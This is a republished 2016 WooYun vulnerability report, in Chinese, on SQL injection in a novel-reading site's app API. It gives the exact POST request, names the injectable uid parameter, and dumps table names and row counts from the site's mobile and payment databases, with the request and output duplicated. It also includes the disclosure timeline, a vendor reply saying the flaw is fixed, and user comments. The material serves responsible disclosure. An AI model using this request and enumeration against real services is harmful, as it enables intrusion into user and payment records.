APP安全之小说阅读网存在注入/DBA权限/193w会员/400w充值会员

admin
admin
admin
102777
文章
87
评论
2017年5月4日06:57:31评论570 views字数 231阅读0分46秒阅读模式
摘要

2016-04-17： 细节已通知厂商并且等待厂商处理中
2016-04-17： 厂商已经确认，细节仅向厂商公开
2016-04-27： 细节向核心白帽子及相关领域专家公开
2016-05-07： 细节向普通白帽子公开
2016-05-17： 细节向实习白帽子公开
2016-06-01： 细节向公众公开

漏洞概要 关注数(13) 关注此漏洞

缺陷编号： WooYun-2016-196808

漏洞标题： APP安全之小说阅读网存在注入/DBA权限/193w会员/400w充值会员

相关厂商： readnovel.com

漏洞作者： 头晕脑壳疼

提交时间： 2016-04-17 21:19

公开时间： 2016-06-01 22:00

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

1人收藏

漏洞详情

披露状态：

2016-04-17： 细节已通知厂商并且等待厂商处理中
2016-04-17： 厂商已经确认，细节仅向厂商公开
2016-04-27： 细节向核心白帽子及相关领域专家公开
2016-05-07： 细节向普通白帽子公开
2016-05-17： 细节向实习白帽子公开
2016-06-01： 细节向公众公开

简要描述：

菜鸟找个洞不容易，有木有小礼品安慰下幼小的心灵

详细说明：

code 区域 
POST /web/user.php?a=start HTTP/1.1
 Content-Length: 259
 Content-Type: application/x-www-form-urlencoded
 Host: opendata.readnovel.com
 Connection: close
 Expect: 100-continue
 Accept-Encoding: gzip
 
 uid=-1&screenpix=576981&model=GT-P5210&op=CMCC&articleid=+&versionname=4.3.0&active_code=20160415210654972601007SnS&system_release=4.2.2&imei=133524480508463&versioncode=145&srcid=test_only&ct=android&mac_address=&v=145&token=18bdacbf6c&pt=client&pix=576981

参数uid存在注入

APP安全之小说阅读网存在注入/DBA权限/193w会员/400w充值会员

APP安全之小说阅读网存在注入/DBA权限/193w会员/400w充值会员

DBA权限

APP安全之小说阅读网存在注入/DBA权限/193w会员/400w充值会员

code 区域 
Database: mobile
 +----------------------------------+---------+
 | Table                            | Entries |
 +----------------------------------+---------+
 | mb_app_start_log                 | 150461124 |
 | mb_app_old_start_log             | 122048467 |
 | mb_check_user_request_log        | 25854070 |
 | mb_app_installed_info            | 19041406 |
 | mb_app_actived_info              | 16125949 |
 | mb_client_start_info             | 12811011 |
 | mb_register_log                  | 6939841 |
 | mb_app_ios_start_log             | 4108988 |
 | mb_app_new_reg_info              | 3890537 |
 | mb_app_physical_info_with_userid | 2989329 |
 | mb_client_version_update_info    | 2511576 |
 | mb_client_user_info              | 1938113 |
 | mb_client_activate_info          | 1031769 |
 | mb_client_regist_info            | 214775  |
 | mb_app_opinion                   | 12029   |
 | mb_app_heji_activity_mobile_info | 4100    |
 | mb_youmi_socre_log               | 3       |
 +----------------------------------+---------+
 
 Database: pay
 +----------------------------------------------------+---------+
 | Table                                              | Entries |
 +----------------------------------------------------+---------+
 | pay_expend                                         | 260995776 |
 | pay_income                                         | 199530613 |
 | pay_order_xsb                                      | 57812761 |
 | pay_expend_xsb                                     | 28683078 |
 | pay_order_log                                      | 19649659 |
 | pay_order                                          | 14709813 |
 | pay_cooperation_expend                             | 8941246 |
 | pay_user_month_expend                              | 4866019 |
 | error_log                                          | 4481903 |
 | pay_user                                           | 4461168 |
 | pay_income_stat                                    | 4266075 |
 | pay_dianbo_order                                   | 3809913 |
 | pay_apk_dianbo_user_receive                        | 3010415 |
 | pay_apk_dianbo_sure                                | 2809589 |
 | pay_user_xsb                                       | 2598395 |
 | pay_order_mobile                                   | 1872301 |
 | pay_user_first_recharge                            | 1699918 |
 | pay_user_recharge_info                             | 1676615 |
 | pay_baoyue_order_info                              | 1585460 |
 | pay_recharge_wap_no_ad_info                        | 1575265 |
 | pay_order_sms                                      | 1571787 |
 | pay_user_first_expend                              | 1402451 |
 | pay_bind_user_mobile                               | 1069356 |
 | pay_wl_income                                      | 1003416 |
 | pay_sohu_mobile_log                                | 982244  |
 | pay_baoyue_callback_info                           | 949125  |
 | pay_360_recharge_order_log                         | 806716  |
 | pay_tmp_special_user                               | 761072  |
 | pay_sohu_baoyue_account_bill                       | 734456  |
 | pay_android_score_recharge_order_log               | 562154  |
 | pay_sohu_mobile_msg                                | 526145  |
 | pay_mobile_status                                  | 451151  |
 | pay_alipay_order                                   | 440972  |
 | pay_mobile_month                                   | 439411  |
 | pay_umpay_baoyue_order                             | 388195  |
 | pay_baoyue_mobile_log                              | 354770  |
 | pay_other_income_stat                              | 352700  |
 | pay_app_send_ydb                                   | 334278  |
 | pay_baoyue_bind_mobile                             | 293173  |
 | pay_unipay_order                                   | 233476  |
 | pay_shenzhoufu_card                                | 233306  |
 | pay_order_game                                     | 227495  |
 | pay_360_recharge_sure_order_log                    | 204830  |
 | pay_baoyue_mobile_msg                              | 196179  |
 | pay_order_result                                   | 186199  |
 | pay_baoyue_mobile_month                            | 165382  |
 | pay_wl_payment_term_remain                         | 162059  |
 | admin_log                                          | 126301  |
 | pay_wechat_order                                   | 121232  |
 | pay_wl_final_paid                                  | 119745  |
 | pay_mission_expend                                 | 113881  |
 | pay_umpay_baoyue_mobile_month                      | 113531  |
 | pay_umpay_baoyue_mobile_month_quit_log             | 103726  |
 | pay_wl_paid                                        | 100950  |
 | pay_ios_recharge_order_log                         | 87749   |
 | pay_fhs_dianbo_order                               | 84988   |
 | pay_user_send_expend                               | 84684   |
 | money_request_log                                  | 73094   |
 | pay_ios_comment_send_ydb_log                       | 61629   |
 | pay_income_tmp2                                    | 53710   |
 | pay_cty_send_push                                  | 49614   |
 | pay_user_upgrade                                   | 45004   |
 | pay_baoyue_month                                   | 42241   |
 | pay_baoyue_user_log                                | 39472   |
 | pay_wl_income_cost                                 | 36905   |
 | pay_money_request                                  | 36893   |
 | pay_virtual_card                                   | 30100   |
 | pay_you_yi_fu_op_lost_order                        | 28814   |
 | pay_wireless_income                                | 28707   |
 | pay_baoyue_user_info                               | 24820   |
 | pay_order_month                                    | 23413   |
 | pay_card                                           | 21015   |
 | pay_wl_auhtor_paid_income                          | 17904   |
 | pay_user_expend_send_gold                          | 12011   |
 | activity_tianle                                    | 10000   |
 | pay_order_remittan                                 | 8881    |
 | pay_income_trigger_tmp                             | 8030    |
 | pay_appstore_paid_sure                             | 7945    |
 | pay_order_buy                                      | 7926    |
 | pay_user_baoyue                                    | 7362    |
 | pay_baoyue_auhtor_paid_income                      | 4005    |
 | pay_order_buy_fence                                | 3727    |
 | pay_expend_stat                                    | 2572    |
 | pay_youmi                                          | 2221    |
 | pay_user_coupons                                   | 2211    |
 | pay_wireless_paid                                  | 1768    |
 | pay_voiced_book_expend                             | 1751    |
 | pay_tmp_shouji_vipsub_top                          | 1000    |
 | pay_ios_score_virtual_card                         | 988     |
 | pay_alipay_info                                    | 750     |
 | pay_deduction                                      | 424     |
 | pay_article_sell                                   | 193     |
 | pay_apk_send_ydb                                   | 177     |
 | pay_cty_receive_msg                                | 138     |
 | pay_recharge_order_sure_log                        | 81      |
 | pay_mobile_game_login_info                         | 78      |
 | pay_app_consume_log                                | 68      |
 | pay_tmp_article_sub                                | 50      |
 | pay_channel_bulletin                               | 43      |
 | pay_apk_authcode                                   | 40      |
 | pay_user_settinfo                                  | 36      |
 | pay_apk_authcode_get_ydb                           | 35      |
 | pay_wl_remain_adjust                               | 35      |
 | pay_wl_payment_term                                | 31      |
 | pay_app_order                                      | 24      |
 | pay_dianbo_user_receive                            | 24      |
 | pay_dianbo_user_send                               | 24      |
 | pay_admins                                         | 15      |
 | pay_360_order                                      | 13      |
 | pay_baoyue_command_status                          | 10      |
 | manhua_pay_income                                  | 8       |
 | pay_android_single_book_update_client_send_ydb_log | 5       |
 | pay_ios_score_recharge_order_log                   | 3       |
 +----------------------------------------------------+---------+

漏洞证明：

code 区域 
POST /web/user.php?a=start HTTP/1.1
 Content-Length: 259
 Content-Type: application/x-www-form-urlencoded
 Host: opendata.readnovel.com
 Connection: close
 Expect: 100-continue
 Accept-Encoding: gzip
 
 uid=-1&screenpix=576981&model=GT-P5210&op=CMCC&articleid=+&versionname=4.3.0&active_code=20160415210654972601007SnS&system_release=4.2.2&imei=133524480508463&versioncode=145&srcid=test_only&ct=android&mac_address=&v=145&token=18bdacbf6c&pt=client&pix=576981

参数uid存在注入

APP安全之小说阅读网存在注入/DBA权限/193w会员/400w充值会员

APP安全之小说阅读网存在注入/DBA权限/193w会员/400w充值会员

DBA权限

APP安全之小说阅读网存在注入/DBA权限/193w会员/400w充值会员

code 区域 
Database: mobile
 +----------------------------------+---------+
 | Table                            | Entries |
 +----------------------------------+---------+
 | mb_app_start_log                 | 150461124 |
 | mb_app_old_start_log             | 122048467 |
 | mb_check_user_request_log        | 25854070 |
 | mb_app_installed_info            | 19041406 |
 | mb_app_actived_info              | 16125949 |
 | mb_client_start_info             | 12811011 |
 | mb_register_log                  | 6939841 |
 | mb_app_ios_start_log             | 4108988 |
 | mb_app_new_reg_info              | 3890537 |
 | mb_app_physical_info_with_userid | 2989329 |
 | mb_client_version_update_info    | 2511576 |
 | mb_client_user_info              | 1938113 |
 | mb_client_activate_info          | 1031769 |
 | mb_client_regist_info            | 214775  |
 | mb_app_opinion                   | 12029   |
 | mb_app_heji_activity_mobile_info | 4100    |
 | mb_youmi_socre_log               | 3       |
 +----------------------------------+---------+
 
 Database: pay
 +----------------------------------------------------+---------+
 | Table                                              | Entries |
 +----------------------------------------------------+---------+
 | pay_expend                                         | 260995776 |
 | pay_income                                         | 199530613 |
 | pay_order_xsb                                      | 57812761 |
 | pay_expend_xsb                                     | 28683078 |
 | pay_order_log                                      | 19649659 |
 | pay_order                                          | 14709813 |
 | pay_cooperation_expend                             | 8941246 |
 | pay_user_month_expend                              | 4866019 |
 | error_log                                          | 4481903 |
 | pay_user                                           | 4461168 |
 | pay_income_stat                                    | 4266075 |
 | pay_dianbo_order                                   | 3809913 |
 | pay_apk_dianbo_user_receive                        | 3010415 |
 | pay_apk_dianbo_sure                                | 2809589 |
 | pay_user_xsb                                       | 2598395 |
 | pay_order_mobile                                   | 1872301 |
 | pay_user_first_recharge                            | 1699918 |
 | pay_user_recharge_info                             | 1676615 |
 | pay_baoyue_order_info                              | 1585460 |
 | pay_recharge_wap_no_ad_info                        | 1575265 |
 | pay_order_sms                                      | 1571787 |
 | pay_user_first_expend                              | 1402451 |
 | pay_bind_user_mobile                               | 1069356 |
 | pay_wl_income                                      | 1003416 |
 | pay_sohu_mobile_log                                | 982244  |
 | pay_baoyue_callback_info                           | 949125  |
 | pay_360_recharge_order_log                         | 806716  |
 | pay_tmp_special_user                               | 761072  |
 | pay_sohu_baoyue_account_bill                       | 734456  |
 | pay_android_score_recharge_order_log               | 562154  |
 | pay_sohu_mobile_msg                                | 526145  |
 | pay_mobile_status                                  | 451151  |
 | pay_alipay_order                                   | 440972  |
 | pay_mobile_month                                   | 439411  |
 | pay_umpay_baoyue_order                             | 388195  |
 | pay_baoyue_mobile_log                              | 354770  |
 | pay_other_income_stat                              | 352700  |
 | pay_app_send_ydb                                   | 334278  |
 | pay_baoyue_bind_mobile                             | 293173  |
 | pay_unipay_order                                   | 233476  |
 | pay_shenzhoufu_card                                | 233306  |
 | pay_order_game                                     | 227495  |
 | pay_360_recharge_sure_order_log                    | 204830  |
 | pay_baoyue_mobile_msg                              | 196179  |
 | pay_order_result                                   | 186199  |
 | pay_baoyue_mobile_month                            | 165382  |
 | pay_wl_payment_term_remain                         | 162059  |
 | admin_log                                          | 126301  |
 | pay_wechat_order                                   | 121232  |
 | pay_wl_final_paid                                  | 119745  |
 | pay_mission_expend                                 | 113881  |
 | pay_umpay_baoyue_mobile_month                      | 113531  |
 | pay_umpay_baoyue_mobile_month_quit_log             | 103726  |
 | pay_wl_paid                                        | 100950  |
 | pay_ios_recharge_order_log                         | 87749   |
 | pay_fhs_dianbo_order                               | 84988   |
 | pay_user_send_expend                               | 84684   |
 | money_request_log                                  | 73094   |
 | pay_ios_comment_send_ydb_log                       | 61629   |
 | pay_income_tmp2                                    | 53710   |
 | pay_cty_send_push                                  | 49614   |
 | pay_user_upgrade                                   | 45004   |
 | pay_baoyue_month                                   | 42241   |
 | pay_baoyue_user_log                                | 39472   |
 | pay_wl_income_cost                                 | 36905   |
 | pay_money_request                                  | 36893   |
 | pay_virtual_card                                   | 30100   |
 | pay_you_yi_fu_op_lost_order                        | 28814   |
 | pay_wireless_income                                | 28707   |
 | pay_baoyue_user_info                               | 24820   |
 | pay_order_month                                    | 23413   |
 | pay_card                                           | 21015   |
 | pay_wl_auhtor_paid_income                          | 17904   |
 | pay_user_expend_send_gold                          | 12011   |
 | activity_tianle                                    | 10000   |
 | pay_order_remittan                                 | 8881    |
 | pay_income_trigger_tmp                             | 8030    |
 | pay_appstore_paid_sure                             | 7945    |
 | pay_order_buy                                      | 7926    |
 | pay_user_baoyue                                    | 7362    |
 | pay_baoyue_auhtor_paid_income                      | 4005    |
 | pay_order_buy_fence                                | 3727    |
 | pay_expend_stat                                    | 2572    |
 | pay_youmi                                          | 2221    |
 | pay_user_coupons                                   | 2211    |
 | pay_wireless_paid                                  | 1768    |
 | pay_voiced_book_expend                             | 1751    |
 | pay_tmp_shouji_vipsub_top                          | 1000    |
 | pay_ios_score_virtual_card                         | 988     |
 | pay_alipay_info                                    | 750     |
 | pay_deduction                                      | 424     |
 | pay_article_sell                                   | 193     |
 | pay_apk_send_ydb                                   | 177     |
 | pay_cty_receive_msg                                | 138     |
 | pay_recharge_order_sure_log                        | 81      |
 | pay_mobile_game_login_info                         | 78      |
 | pay_app_consume_log                                | 68      |
 | pay_tmp_article_sub                                | 50      |
 | pay_channel_bulletin                               | 43      |
 | pay_apk_authcode                                   | 40      |
 | pay_user_settinfo                                  | 36      |
 | pay_apk_authcode_get_ydb                           | 35      |
 | pay_wl_remain_adjust                               | 35      |
 | pay_wl_payment_term                                | 31      |
 | pay_app_order                                      | 24      |
 | pay_dianbo_user_receive                            | 24      |
 | pay_dianbo_user_send                               | 24      |
 | pay_admins                                         | 15      |
 | pay_360_order                                      | 13      |
 | pay_baoyue_command_status                          | 10      |
 | manhua_pay_income                                  | 8       |
 | pay_android_single_book_update_client_send_ydb_log | 5       |
 | pay_ios_score_recharge_order_log                   | 3       |
 +----------------------------------------------------+---------+

修复方案：

版权声明：转载请注明来源 头晕脑壳疼@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2016-04-17 21:52

厂商回复：

谢谢~ 漏洞已于昨天修复。想要礼物，请发邮件到 索取哦~

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-04-17 23:38 | Freebug ( 普通白帽子 | Rank:110 漏洞数:39 | 流氓是一种高尚的职业！)

    1

    坐等公开，学习新姿势。

  2. 2016-04-18 09:45 | 头晕脑壳疼 ( 普通白帽子 | Rank:864 漏洞数:170 )

    1

    ·小说阅读网 可否直接所要下联系方式 ？

  3. 2016-04-18 09:46 | 头晕脑壳疼 ( 普通白帽子 | Rank:864 漏洞数:170 )

    1

    @小说阅读网 可否直接索要下联系方式？

  4. 2016-04-18 10:01 | Freebug ( 普通白帽子 | Rank:110 漏洞数:39 | 流氓是一种高尚的职业！)

    1

    @头晕脑壳疼 大牛求交流

  5. 2016-04-18 10:36 | 头晕脑壳疼 ( 普通白帽子 | Rank:864 漏洞数:170 )

    0

    @Freebug 没啥技术含量！普通的注入

  6. 2016-04-18 13:58 | 小说阅读网(乌云厂商)

    0

    @头晕脑壳疼 security#readnovel.com

  7. 2016-04-20 13:51 | Freebug ( 普通白帽子 | Rank:110 漏洞数:39 | 流氓是一种高尚的职业！)

    0

    @头晕脑壳疼 好吧，大牛说的太轻松了，尔等小菜无法理解。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin